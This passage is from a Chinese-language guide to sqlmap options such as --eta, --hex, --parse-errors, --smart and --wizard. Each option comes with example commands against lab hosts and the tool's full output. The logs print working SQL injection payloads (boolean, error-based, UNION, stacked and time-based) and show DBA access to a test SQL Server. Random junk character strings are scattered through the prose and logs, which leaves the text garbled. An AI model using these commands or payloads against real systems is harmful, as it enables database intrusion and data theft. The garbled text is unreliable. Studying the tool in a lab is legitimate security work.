u6 I8 A/ i, w9 ksqlmap会自动检测确定使用哪种SQL注入技术,如何插入检索语句。 4 |6 O. d" F4 \4 S- X; R+ o D1 S5 y: D9 g" @$ F, c& d
如果是SELECT查询语句,sqlap将会输出结果。如果是通过SQL注入执行其他语句,需要测试是否支持多语句执行SQL语句。4 G$ ?. Q+ u f. e- T' _4 c
+ p. W& b7 ]8 n, R, {6 {8 d参数:--dump-format' C5 w+ e3 m3 t/ _7 w3 S8 l
( G, r V! x% h# f) p8 |* p输出的格式可定义为:CSV,HTML,SQLITE4 v+ J; h8 H3 N* p
预估完成时间 : s7 T2 \+ Q3 w9 l4 y+ t+ F# P3 R C. E, f- a
参数:--eta( a o9 N$ H2 e3 w, ^1 O, f/ L
* s7 W3 t3 S Y4 x5 ]# o6 t; E可以计算注入数据的剩余时间。 4 y* N# M+ ^& j9 Y % L' F7 ?8 Y" @# O: r例如Oracle的布尔型盲注:* M0 R- O( [- f2 q4 v
8 N) K' f0 I; ^2 h7 v: ]% p
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta n( p0 w; [ }/ F 5 E' Z4 O$ F/ o) g* K% U+ O[...] 3 R; J, O, f) D3 e: t6 k8 @[hh:mm:01] [INFO] the back-end DBMS is Oracle ! [- r( G2 P+ a1 `[hh:mm:01] [INFO] fetching banner, Q+ e' Z/ T6 Y' ^/ u" G) i& ~
[hh:mm:01] [INFO] retrieving the length of query output. @) T5 q3 @$ E3 S3 [
[hh:mm:01] [INFO] retrieved: 64 # W3 y* V+ R- o' E17% [========> ] 11/64 ETA 00:19) b2 g2 @& f% v) V) t, M9 u
5 x% `1 P" D- f4 T" y, F
然后: & H; D% `# }" x4 ^ % v F7 Y% o7 j3 J, c100% [===================================================] 64/64$ V1 ]9 F9 v8 g& v
[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod U& l0 ], _/ t& ?7 W! z
& \1 U( |( ~( F$ c. n
web application technology: PHP 5.2.6, Apache 2.2.9 & [( L/ W: m' G5 z0 Yback-end DBMS: Oracle / Q# w3 I! |& F; `" ]1 L; kbanner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'* v. q% ^5 Q4 }. Q# k
2 K7 d1 x4 j( h. P
sqlmap先输出长度,预计完成时间,显示百分比,输出字符 # K1 t0 m7 W; F5 H7 f+ T刷新session文件 7 o8 z5 t, t( C6 c, k1 c 7 x: O- C3 W+ w7 ^* N参数:--flush-session, }- T. f1 D4 `: c0 a" k9 d# E5 J
. a+ S2 n7 q; c$ \' F4 v8 g
如果不想用之前缓存这个目标的session文件,可以使用这个参数。 会清空之前的session,重新测试该目标。( Q- x% y% h+ s( G
自动获取form表单测试/ g: s, Z! A% P6 ?1 u7 y4 ]
$ u |2 l/ F2 Y8 M
参数:--forms ; ?/ l" f4 u! O9 _3 Q* k. B9 `" Y' n% N
如果你想对一个页面的form表单中的参数测试,可以使用-r参数读取请求文件,或者通过--data参数测试。 但是当使用--forms参数时,sqlmap会自动从-u中的url获取页面中的表单进行测试。 2 z( ?# C0 @! m2 a% N4 [2 U4 U) M忽略在会话文件中存储的查询结果* E* _$ G# @' y. Z' \8 R
2 O5 c# j! K1 \
参数:--fresh-queries0 P8 S) ?9 Q) b% { z5 y% ]
" U% b8 N+ S/ z1 U忽略session文件保存的查询,重新查询。# E1 H! o( `+ ]5 ?- J" o( v, e
使用DBMS的hex函数+ s. W: g) ^4 g: v, B
, S. A! u! w. s1 Q
参数:--hex6 k7 J& ? b& ^* N, B" D
1 S' q% D' i$ {) c5 a有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免: Z% X. u, C. b ?# L) j2 P
1 `3 N5 n4 `8 w- [9 ?& j针对PostgreSQL例子: p4 e0 V: Y7 J. F$ {! ?8 M( c. X7 o( g6 ^ b2 r
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors 9 V/ w" o7 O# y! T ) t9 b. X& C5 g. ^0 n/ o[...]- _+ z1 g" _/ ~- ]! E8 X, b
[xx:xx:14] [INFO] fetching banner " @: p8 _$ ~& ?) l3 D/ I6 u+ @[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC) 0 a8 D; |( V6 N- M[xx:xx:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query'>function.pg-query</a>]: Query failed: ERROR: invalid input syntax for type numeric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c202844656269616e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.php</b> on line <b>35</b>'4 {+ m) y! i1 i+ A) F6 F/ |4 O
[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by) h# e0 l% h! h
GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2 1 |, d- p# W" B3 g[...]/ Q. B/ h5 d0 H# a4 ?) U4 B5 l
# r$ V- i! J* S6 D; L9 @自定义输出的路径$ M; H0 F$ S+ m" S) ] i: x6 @
2 E; i) g' o* _
参数:--output-dir $ }0 t$ X9 [$ A' A: C4 o' c# A4 H, S) n4 ]
sqlmap默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 例如:--output-dir=/tmp 3 e7 [0 Z5 u- z( A/ }0 w从响应中获取DBMS的错误信息 9 b2 P0 d7 a; F' ]5 K ' W0 N2 V7 ]8 l: g参数:--parse-errors , S, M# \; M* p' Q3 g& h% p4 X* x5 F
有时目标没有关闭DBMS的报错,当数据库语句错误时,会输出错误语句,用词参数可以会显出错误信息。 , E3 R( q' ^% N( q+ q3 E ( ~ T" L/ c% y) X- ?* W% k3 u$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --parse-errors. |# L m: f5 i; u& q3 C
[...]# Y9 ]* I- ^1 i7 B$ T. S( c
[11:12:17] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test 9 K* Z9 Z4 y7 h" s9 T[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)$ ?7 O, s0 M B, c1 }3 b. F
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 is out of range of the number of items in the select list.0 y# R8 t7 J: G9 |/ h
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>' " n& \8 g: H0 r9 `[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14). D: J* L r/ z8 r
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is out of range of the number of items in the select list. ' d1 o, o% k/ e, `7 W6 q- Q<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'1 T) j" [: W. D2 R
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) # w2 F; x2 Z8 u% i% {. m4 J y& @5 t[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is out of range of the number of items in the select list.6 Y7 ?5 ^1 V* p" w
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>' : [+ f$ @1 a6 I' ?, Z8 l4 G[11:12:17] [INFO] target URL appears to have 3 columns in query & z/ a; E4 k" X[...]$ E+ E2 ~3 L; v" d
" v! b' @0 ~: E例如: 0 l! J4 t3 M) _: E0 P& [1 c " f2 e; D/ w" g* m: f' | ~$ python sqlmap.py --purge-output -v 3$ u3 D6 t `1 Q
[...] 3 `" L" u, A; @2 d) c: U2 F[xx:xx:55] [INFO] purging content of directory '/home/user/sqlmap/output'...! k: I' Y9 q# d$ P7 d& r
[xx:xx:55] [DEBUG] changing file attributes9 E4 Q+ u+ H( f! X' e- H
[xx:xx:55] [DEBUG] writing random data to files4 x; o* T( S1 v( U b
[xx:xx:55] [DEBUG] truncating files Q7 G1 {! z& n) h5 s. K. V
[xx:xx:55] [DEBUG] renaming filenames to random values # y g! _! q3 j; y- J[xx:xx:55] [DEBUG] renaming directory names to random values7 J9 j! S/ g# y9 T+ s4 L. V
[xx:xx:55] [DEBUG] deleting the whole directory tree 5 t6 E& K1 f( w8 `) G[...] , X3 f0 k' Q0 S3 N9 U! e8 M) Z; j& e
启发式判断注入 4 i, m/ b" o% V+ I) q& A# @( Q9 v9 }" R( ?6 u
参数:--smart% I$ ^/ }6 u2 S
% Z. Q/ V: m7 y( V$ X有时对目标非常多的URL进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入,可以使用此参数。! e9 S W# j' H' d
9 Z' `1 V M' I. d例子:1 z% T8 q5 t/ P$ m- T( H
1 ?; U2 D/ W7 j7 M% g& ^$ W1 `* ?$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch --smart - l* i- p/ B$ X, L/ N8 f[...]" z- h* f( l( q( C) s! G& {
[xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic ) r s" ]+ e$ l[xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic% f2 x* `. k; x3 i/ ^* x: u* `
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might not be injectable/ y+ A1 p5 V9 @ R7 L
[xx:xx:14] [INFO] skipping GET parameter 'ca' ) a, S: O# F* B" G, {3 _[xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic ' S# T, e- Q. a7 T6 A3 |; A, p[xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic7 x" c+ g: M6 I& t
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' might not be injectable $ d" ` z' J5 P% F$ {8 C8 x1 ][xx:xx:14] [INFO] skipping GET parameter 'user'6 M; o C! V4 h; W$ R1 E! L+ [
[xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic ( z7 k. x: z; Z. z6 g! v# _[xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic! A" q9 C" E! l5 \5 F
[xx:xx:14] [INFO] GET parameter 'id' is dynamic 3 _ d+ T! N" m( B[xx:xx:14] [WARNING] reflective value(s) found and filtering out * c& x# d7 I# Z% F6 G) \[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL') & K9 H# t* a; Y) x[xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id' ! `& O, `% x: e) Aheuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y ; `/ ]8 G J6 t9 Hdo you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] Y0 ?& [; q( n; q* P9 c& [6 | z
[xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause', s# `& S- i1 h4 @: T2 A& c
[xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable ( {2 u" t+ i+ u[xx:xx:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'7 U) f. V; {( m
[xx:xx:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable ; D. K8 c. U4 t; J[xx:xx:14] [INFO] testing 'MySQL inline queries'3 N: e' Y% O2 W! o* ?! n) t+ N
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 stacked queries' # T# f ^; U U: w1 I[xx:xx:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'8 J( d2 u+ Y; [0 K" w7 i$ t* |
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind' * c( [* r ~$ b9 r6 g[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable # [8 y c9 E' `+ V. t7 r- S# @
[xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'2 f4 H& b/ q4 ^1 y
[xx:xx:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found" X$ E; F9 V' d& N% ]
[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test : ?" i; h# }! n- B' h1 g M1 V5 }" g[xx:xx:24] [INFO] target URL appears to have 3 columns in query6 }( n& f. M3 [% d' P% |
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable 1 M* Z* p" }- k* O5 l, l& v! \[...], T) o4 i7 w3 T
2 {+ G$ H4 ^7 N7 y初级用户向导参数1 J1 r l c2 q
& M% |4 f P9 [$ M/ w- a" q" S I参数:--wizard 面向初级用户的参数,可以一步一步教你如何输入针对目标注入。6 e9 Z% T" m$ h7 `$ ^1 t
+ x- e" a% i. [7 H$ z. y0 _/ ~
$ python sqlmap.py --wizard2 ~3 f: |) q6 o9 h, u5 C: T
v3 f+ b" {- W5 G sqlmap/1.0-dev-2defc30 - automatic SQL injection and database takeover tool% }, {- {/ H3 ]5 X
, E+ L m" G! a3 G/ s! O3 b3 Z$ s
http://sqlmap.org- T. D! \4 L. }; ^, [6 m
+ ?2 v: K5 L* |. _5 N
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program 3 c( \, `3 Q/ M& k" \
starting at 11:25:26 9 @# ]# O0 z* D: H; w3 u' n& h8 |9 k: A0 A
Please enter full target URL (-u): http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1 s) c0 a2 ~0 K1 p$ L% o4 qPOST data (--data) [Enter for None]: ' X2 r7 k& N% m1 Z
Injection difficulty (--level/--risk). Please choose: 9 I! `, Y" {, U# d) O& a& \[1] Normal (default) % u; Q3 K" J/ Q# l2 C: l+ l[2] Medium ( W! s4 C2 f: ?( p. q% I a[3] Hard ( G* [4 q9 C5 |0 L! S$ C, a( y> 1 : c, Y7 S8 C0 ^0 W8 CEnumeration (--banner/--current-user/etc). Please choose: 6 d# Z% E( K' h3 ?[1] Basic (default)0 Q1 k4 E# T) k* h, u8 u, g
[2] Smart) O) H5 x8 ^/ G, T
[3] All4 v: {3 U0 K2 G. {! `
> 1 - D0 v# G& o+ V: M+ J @2 s Z6 [+ Q( L5 v T6 h4 }sqlmap is running, please wait..* m( @( l0 x9 ]8 f
+ E/ A& f$ D5 c0 G
heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL Server'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y 9 v* m- r) `* _) rdo you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1)? [Y/n] Y" d) P: S( N6 ?6 h: N
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N4 O( o9 y4 S. t
sqlmap identified the following injection points with a total of 25 HTTP(s) requests: ; g, R( W; B+ ]& Q/ x. c( {: ?--- 6 I: y5 Z9 [3 n& A3 ~* lPlace: GET# d: {% ^% o$ ~' o; V: c$ a1 `
Parameter: id 9 V P. f: U } Type: boolean-based blind6 k t6 D5 ?' L \
Title: AND boolean-based blind - WHERE or HAVING clause3 F! g* P( M; n" p7 ~/ z
Payload: id=1 AND 2986=2986% J4 B3 i% [5 N; \2 L& K
: j7 u2 y8 L f6 t/ P9 f, L" Y/ X1 b Type: error-based$ B5 j/ W! v B6 R8 D
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause5 k }# _" N* u9 D/ u5 G
Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)))( A9 a( N) @- T
9 K9 q* p; H4 @! Q6 J. ]6 {
Type: UNION query ' {) g, g; C& Z( W. C3 L/ O Title: Generic UNION query (NULL) - 3 columns + ^7 z5 y/ b: Z3 L9 k Payload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) CHAR(70) CHAR(79) CHAR(118) CHAR(106) CHAR(87) CHAR(101) CHAR(119) CHAR(115) CHAR(114) CHAR(77) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)-- 1 P8 ^3 c+ W' n; t$ S9 u) o1 A
, ?; B$ k8 [( ?' R! H$ h Type: stacked queries- C8 e! t. w% j/ X9 C* y2 K# b
Title: Microsoft SQL Server/Sybase stacked queries W" a& j& z7 v4 n* S Payload: id=1; WAITFOR DELAY '0:0:5'--/ H: H! M$ P a0 J- b
6 m! M% j: i9 H Type: AND/OR time-based blind0 w5 Y: {- F- [' C" v/ H2 ~
Title: Microsoft SQL Server/Sybase time-based blind, C% h/ a: \( f) Q) d% z5 p
Payload: id=1 WAITFOR DELAY '0:0:5'--$ Y, s7 S* L, D `9 L0 D- T
. z* O1 s+ a( g t Type: inline query; I% y2 S& \. b0 V! X" O4 l
Title: Microsoft SQL Server/Sybase inline queries6 }' e+ s0 l3 D% Q6 l
Payload: id=(SELECT CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (6382=6382) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58))( B- S5 V( Q; q9 C0 ^" r
---! L j2 i( q* ?7 \! E, T, N! S
web server operating system: Windows XP% |2 i, x) _$ h3 _) r, f4 O
web application technology: ASP, Microsoft IIS 5.1 5 f; x' j' j/ Fback-end DBMS operating system: Windows XP Service Pack 2" {8 u3 b( P2 e( H& Z1 F; U
back-end DBMS: Microsoft SQL Server 20053 }0 {- T! @( Y2 v1 V" q
banner:2 E. {8 z# ?, }" h( T
--- 8 J# ?$ S( \, c* u* K5 ^) v! ~Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) 5 u+ B. h+ ]: z( J Oct 14 2005 00:33:37 5 ?2 A* C/ Q9 l, z
Copyright (c) 1988-2005 Microsoft Corporation + R4 i4 f! M0 Y0 c& d Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2) + q# j$ V2 @" E# |# Q' S: ]# \--- $ }3 a# M6 F. N- Ncurrent user: 'sa' ; r1 S' K; }1 y: mcurrent database: 'testdb' T& M, i" {" @( _3 n' i) s. Ucurrent user is DBA: True